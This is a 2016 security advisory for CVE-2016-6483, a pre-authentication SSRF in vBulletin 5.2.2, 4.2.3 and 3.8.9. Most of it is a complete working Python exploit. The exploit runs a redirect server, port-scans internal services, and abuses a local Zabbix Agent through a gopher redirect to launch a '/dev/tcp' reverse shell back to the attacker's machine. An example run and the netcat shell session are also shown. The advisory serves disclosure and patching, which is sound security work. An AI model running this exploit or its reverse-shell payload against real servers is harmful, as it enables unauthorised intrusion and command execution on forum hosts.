vBulletin 5.2.2 / 4.2.3 / 3.8.9 Server Side Request Forgery
Posted on 10 August 2016
============================================= - Discovered by: Dawid Golunski - http://legalhackers.com - dawid (at) legalhackers.com - CVE-2016-6483 - Release date: 05.08.2016 - Severity: High ============================================= I. VULNERABILITY ------------------------- vBulletin <= 5.2.2 Preauth Server Side Request Forgery (SSRF) vBulletin <= 4.2.3 vBulletin <= 3.8.9 II. BACKGROUND ------------------------- vBulletin (vB) is a proprietary Internet forum software package developed by vBulletin Solutions, Inc., a division of Internet Brands. https://www.vbulletin.com/ https://en.wikipedia.org/wiki/VBulletin A google search for "Powered by vBulletin" returns over 19 million sites that are hosting a vBulletin forum: https://www.google.co.uk/?gws_rd=ssl#q=%22Powered+by+vBulletin%22 III. INTRODUCTION ------------------------- vBulletin forum software is affected by a SSRF vulnerability that allows unauthenticated remote attackers to access internal services (such as mail servers, memcached, couchDB, zabbix etc.) running on the server hosting vBulletin as well as services on other servers on the local network that are accessible from the target. This advisory provides a PoC exploit that demonstrates how an unauthenticated attacker could perform a port scan of the internal services as well as execute arbitrary system commands on a target vBulletin host with a locally installed Zabbix Agent monitoring service. IV. DESCRIPTION ------------------------- vBulletin allows forum users to share media fiels by uploading them to the remote server. Some pages allow users to specify a URL to a media file that a user wants to share which will then be retrieved by vBulletin. The user-provided links are validated to make sure that users can only access resources from HTTP/HTTPS protocols and that connections are not allowed in to the localhost. These restrictions can be found in core/vb/vurl/curl.php source file: /** * Determine if the url is safe to load * * @param $urlinfo -- The parsed url info from vB_String::parseUrl -- scheme, port, host * @return boolean */ private function validateUrl($urlinfo) { // VBV-11823, only allow http/https schemes if (!isset($urlinfo['scheme']) OR !in_array(strtolower($urlinfo['scheme']), array('http', 'https'))) { return false; } // VBV-11823, do not allow localhost and 127.0.0.0/8 range by default if (!isset($urlinfo['host']) OR preg_match('#localhost|127.(d)+.(d)+.(d)+#i', $urlinfo['host'])) { return false; } if (empty($urlinfo['port'])) { if ($urlinfo['scheme'] == 'https') { $urlinfo['port'] = 443; } else { $urlinfo['port'] = 80; } } // VBV-11823, restrict detination ports to 80 and 443 by default // allow the admin to override the allowed ports in config.php (in case they have a proxy server they need to go to). $config = vB::getConfig(); [...] HTTP redirects are also prohibited however there is one place in the vBulletin codebase that accepts redirects from the target server specified in a user-provided link. The code is used to upload media files within a logged-in user's profile and can normally be accessed under a path similar to: http://forum/vBulletin522/member/1-mike/media By specifying a link to a malicious server that returns a 301 HTTP redirect to the URL of http://localhost:3306 for example, an attacker could easily bypass the restrictions presented above and make a connection to mysql/3306 service listening on the localhost. This introduces a Server Side Request Forgery (SSRF) vulnerability. As curl is used to fetch remote resources, in addition to HTTP, attackers could specify a handful of other protocols to interact with local services. For instance, by sending a redirect to gopher://localhost:11211/datahere attackers could send arbitrary traffic to memcached service on 11211 port. Additionally, depending on the temporary directory location configured within the forum, attackers could potentially view the service responses as the download function stores responses within temporary files which could be viewed if the temporary directory is exposed on the web server. V. PROOF OF CONCEPT EXPLOIT ------------------------- The exploit code below performs a port scan as well as demonstrates remote command execution via a popular Zabbix Agent monitoring service which might be listening on local port of 10050. The exploit will execute a reverse bash shell on the target if it has the agent installed and permits remote commands. The exploit was verified on the following zabbix agent configuration (/etc/zabbix/zabbix_agentd.conf): Server=127.0.0.1,::1 EnableRemoteCommands=1 ------------[ vBulletin_SSRF_exploit.py ]----------- #!/usr/bin/python intro = """ vBulletin <= 5.2.2 SSRF PoC Exploit (portscan / zabbix agent RCE) This PoC exploits an SSRF vulnerability in vBulletin to scan internal services installed on the web server that is hosting the vBulletin forum. After the scan, the exploit also checks for a Zabbix Agent (10050) port and gives an option to execute a reverse shell (Remote Commands) that will connect back to the attacker's host on port 8080 by default. Coded by: Dawid Golunski http://legalhackers.com """ usage = """ Usage: The exploit requires that you have an external IP and can start a listener on port 80/443 on the attacking machine. ./vBulletin_SSRF_exploit.py our_external_IP vBulletin_base_url [minimum_port] [maximum_port] Example invocation that starts listener on 192.168.1.40 (port 80) and scans local ports 1-85 on the remote vBulletin target host: ./vBulletin_SSRF_exploit.py 192.168.1.40 http://vbulletin-target/forum 1 85 Before exploiting Zabbix Agent, start your netcat listener on 8080 port in a separate shell e.g: nc -vv -l -p 8080 Disclaimer: For testing purposes only. Do no harm. SSL/TLS support needs some tuning. For better results, provide HTTP URL to the vBulletin target. """ import web # http://webpy.org/installation import threading import time import urllib import urllib2 import socket import ssl import sys # The listener that will send redirects to the targe class RedirectServer(threading.Thread): def run (self): urls = ('/([0-9a-z_]+)', 'do_local_redir') app = web.application(urls, globals()) #app.run() return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', our_port)) class do_local_redir: def GET(self,whereto): if whereto == "zabbixcmd_redir": # code exec # redirect to gopher://localhost:10050/1system.run[(/bin/bash -c 'nohup bash -i >/dev/tcp/our_ip/shell_port 0<&1 2>&1 &') ; sleep 2s] return web.HTTPError('301', {'Location': 'gopher://localhost:10050/1system.run%5b(%2Fbin%2Fbash%20-c%20%27nohup%20bash%20-i%20%3E%2Fdev%2Ftcp%2F'+our_ext_ip+'%2F'+str(shell_port)+'%200%3C%261%202%3E%261%20%26%27) %20%3B%20sleep%202s%5d' } ) else: # internal port connection return web.HTTPError('301', {'Location': "telnet://localhost:%s/" % whereto} ) def shutdown(code): print " Job done. Exiting" if redirector_started == 1: web.httpserver.server.interrupt = KeyboardInterrupt() exit(code) # [ Default settings ] # reverse shell will connect back to port defined below shell_port = 8080 # Our HTTP redirector/server port (must be 80 or 443 for vBulletin to accept it) our_port = 443 # How long to wait (seconds) before considering a port to be opened. # Don't set it too high to avoid service timeout and an incorrect close state connect_time = 2 # Default port scan range is limited to 20-90 to speed up things when testing, # feel free to increase maxport to 65535 here or on the command line if you've # got the time ;) minport = 20 maxport = 90 # ignore invalid certs (enable if target forum is HTTPS) #ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1) # [ Main Meat ] print intro redirector_started = 0 if len(sys.argv) < 3 : print usage sys.exit(2) # Set our HTTP Listener/Redirector's external IP our_ext_ip = sys.argv[1] try: socket.inet_aton(our_ext_ip) except socket.error: print "Invalid HTTP redirector server IP [%s]! " % our_ext_ip exit(2) our_server = "http://%s:%s" % (our_ext_ip, our_port) # Target forum base URL (e.g. http://vulnerable-vbulletin/forum) targetforum = sys.argv[2] # Append vulnerable media upload script path to the base URL targeturl = targetforum.strip('/') + "/link/getlinkdata" # Change port range (if provided) if (len(sys.argv) == 5) : minport = int(sys.argv[3]) # Finish scanning at maxport maxport = int(sys.argv[4]) # Confirm data print " * Confirm your settings " print "Redirect server to listen on: %s:%s Target vBulletin URL: %s Scan ports between: %d - %d " % (our_ext_ip, our_port, targeturl, minport, maxport) key = raw_input("Are these settings correct? Hit enter to start the port scan... ") # Connection check print " * Testing connection to vulnerable script at [%s] " % targeturl req = urllib2.Request(targeturl, data=' ', headers={ 'User-Agent': 'Mozilla/5.0' } ) try: response = urllib2.urlopen(req, timeout=connect_time).read() except urllib2.URLError as e: print "Invalid forum URI / HTTP request failed (reason: %s) " % e.reason shutdown(2) # Server should return 'invalid_url' string if not url provided in POST if "invalid_url" not in response: print """Invalid target url (%s) or restricted access. Test with: curl -X POST -v %s Shutting down """ % (targeturl, targeturl) sys.exit(2) else: print "Got the right response from the URL. The target looks vulnerable! " # [ Start the listener and perform a port scan ] print "Let's begin! " print "* Starting our redirect base server on %s:%s " % (our_ext_ip, our_port) RedirectServer().start() redirector_started = 1 print "* Scanning local ports from %d to %d on [%s] target " % (minport, maxport, targetforum) start = time.time() opened_ports = [] maxport+=1 for targetport in range(minport, maxport): #print " Scanning port %d " % (targetport) fetchurl = '%s/%d' % (our_server, targetport) data = urllib.urlencode({'url' : fetchurl}) req = urllib2.Request(targeturl, data=data, headers={ 'User-Agent': 'Mozilla/5.0' } ) try: response = urllib2.urlopen(req, timeout=connect_time) except urllib2.URLError, e: print "Oops, url issue? 403 , 404 etc. " except socket.timeout, ssl.SSLError: print "Conection opened for %d seconds. Port %d is opened! " % (connect_time, targetport) opened_ports.append(targetport) elapsed = (time.time() - start) print " Scanning done in %d seconds. * Opened ports on the target [%s]: " % (elapsed, targetforum) for listening in opened_ports: print "Port %d : Opened " % listening print " Anything juicy? :) " if 10050 in opened_ports: print "* Zabbix Agent was found on port 10050 ! " # [ Command execution via Zabbix Agent to gain a reverse shell ] key = raw_input("Want to execute a reverse shell via the Zabbix Agent? (start netcat before you continue) [y/n] ") if key != 'y' : shutdown(0) print " * Executing reverse shell via Zabbix Agent (10050)." fetchurl = '%s/%s' % (our_server, 'zabbixcmd_redir') data = urllib.urlencode({'url' : fetchurl}) req = urllib2.Request(targeturl, data=data, headers={ 'User-Agent': 'Mozilla/5.0' } ) payload_executed = 0 try: response = urllib2.urlopen(req, timeout=connect_time) except urllib2.URLError, e: print "Oops, url issue? 403 , 404 etc. " except socket.timeout, ssl.SSLError: # Agent connection remained opened for 2 seconds after the bash payload was sent, # it looks like the sleep 2s shell command must have got executed sucessfuly payload_executed = 1 if (payload_executed == 1) : print " Looks like Zabbix Agent executed our bash payload! Check your netcat listening on port %d for shell! :) " % shell_port else: print " No luck. No Zabbix Agent listening on 10050 port or remote commands are disabled :( " shutdown(0) ----------------------[ eof ]------------------------ Example run: root@trusty:~/vbexploit# ./vBulletin_SSRF_exploit.py 192.168.57.10 http://192.168.57.10/vBulletin522new/ 20 85 vBulletin <= 5.2.2 SSRF PoC Exploit (Localhost Portscan / Zabbix Agent RCE) This PoC exploits an SSRF vulnerability in vBulletin to scan internal services installed on the web server that is hosting the vBulletin forum. After the scan, the exploit also checks for a Zabbix Agent (10050) port and gives an option to execute a reverse shell (Remote Commands) that will connect back to the attacker's host on port 8080 by default. Coded by: Dawid Golunski http://legalhackers.com * Confirm your settings Redirect server to listen on: 192.168.57.10:443 Target vBulletin URL: http://192.168.57.10/vBulletin522new/link/getlinkdata Scan ports between: 20 - 85 Are these settings correct? Hit enter to start the port scan... * Testing connection to vulnerable script at [http://192.168.57.10/vBulletin522new/link/getlinkdata] Got the right response from the URL. The target looks vulnerable! Let's begin! * Starting our redirect base server on 192.168.57.10:443 * Scanning local ports from 20 to 85 on [http://192.168.57.10/vBulletin522new/] target http://0.0.0.0:443/ 192.168.57.10:58675 - - [30/Jul/2016 03:00:25] "HTTP/1.1 GET /20" - 301 192.168.57.10:58679 - - [30/Jul/2016 03:00:25] "HTTP/1.1 GET /21" - 301 192.168.57.10:58683 - - [30/Jul/2016 03:00:25] "HTTP/1.1 GET /22" - 301 Conection opened for 2 seconds. Port 22 is opened! 192.168.57.10:58686 - - [30/Jul/2016 03:00:27] "HTTP/1.1 GET /23" - 301 192.168.57.10:58690 - - [30/Jul/2016 03:00:27] "HTTP/1.1 GET /24" - 301 192.168.57.10:58694 - - [30/Jul/2016 03:00:28] "HTTP/1.1 GET /25" - 301 Conection opened for 2 seconds. Port 25 is opened! 192.168.57.10:58697 - - [30/Jul/2016 03:00:30] "HTTP/1.1 GET /26" - 301 [...] 192.168.57.10:58909 - - [30/Jul/2016 03:00:36] "HTTP/1.1 GET /79" - 301 192.168.57.10:58913 - - [30/Jul/2016 03:00:36] "HTTP/1.1 GET /80" - 301 Conection opened for 2 seconds. Port 80 is opened! 192.168.57.10:58917 - - [30/Jul/2016 03:00:38] "HTTP/1.1 GET /81" - 301 192.168.57.10:58921 - - [30/Jul/2016 03:00:38] "HTTP/1.1 GET /82" - 301 192.168.57.10:58925 - - [30/Jul/2016 03:00:39] "HTTP/1.1 GET /83" - 301 192.168.57.10:58929 - - [30/Jul/2016 03:00:39] "HTTP/1.1 GET /84" - 301 192.168.57.10:58933 - - [30/Jul/2016 03:00:39] "HTTP/1.1 GET /85" - 301 Scanning done in 14 seconds. * Opened ports on the target [http://192.168.57.10/vBulletin522new/]: Port 22 : Opened Port 25 : Opened Port 80 : Opened Anything juicy? :) Want to execute a reverse shell via the Zabbix Agent? (start netcat before you continue) [y/n] y * Executing reverse shell via Zabbix Agent (10050). 192.168.57.10:58940 - - [30/Jul/2016 03:00:45] "HTTP/1.1 GET /zabbixcmd_redir" - 301 Looks like Zabbix Agent executed our bash payload! Check your netcat listening on port 8080 for shell! :) Job done. Exiting Here is how the netcat session looks like after a sucessful exploitation: $ nc -vvv -l -p 8080 Listening on [0.0.0.0] (family 0, port 8080) Connection from [192.168.57.10] port 8080 [tcp/*] accepted (family 2, sport 54259) zabbix@trusty:/$ id id uid=122(zabbix) gid=129(zabbix) groups=129(zabbix) zabbix@trusty:/$ As we can see reverse shell was executed on the target which sucessfully connected back to the attacker's netcat listener. VI. BUSINESS IMPACT ------------------------- The vulnerability can expose internal services running on the server/within the local network. If not patched, unauthenticated attackers or automated scanners searching for vulnerable servers could send malicious data to internal services. Depending on services in use, the impact could range from sensitive information disclosure, sending spam, DoS/data loss to code execution as demonstrated by the PoC exploit in this advisory. VII. SYSTEMS AFFECTED ------------------------- All vBulletin forums in all branches (5.x, 4.x , 3.x) without the latest patches named in the next section are affected by this vulnerability. VIII. SOLUTION ------------------------- Upon this advisory, vendor has published the following security releases of vBulletin for each of the affected branches: vBulletin 5.2.3 vBulletin 4.2.4 Beta vBulletin 3.8.10 Beta Separate patches have also been released (see references below). IX. REFERENCES ------------------------- http://legalhackers.com http://legalhackers.com/advisories/vBulletin-SSRF-Vulnerability-Exploit.txt http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6483 vBulletin patches: http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4349551-security-patch-vbulletin-5-2-0-5-2-1-5-2-2 http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4349549-security-patch-vbulletin-4-2-2-4-2-3-4-2-4-beta http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4349548-security-patch-vbulletin-3-8-7-3-8-8-3-8-9-3-8-10-beta X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com http://legalhackers.com XI. REVISION HISTORY ------------------------- 05.08.2016 - final advisory released XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.
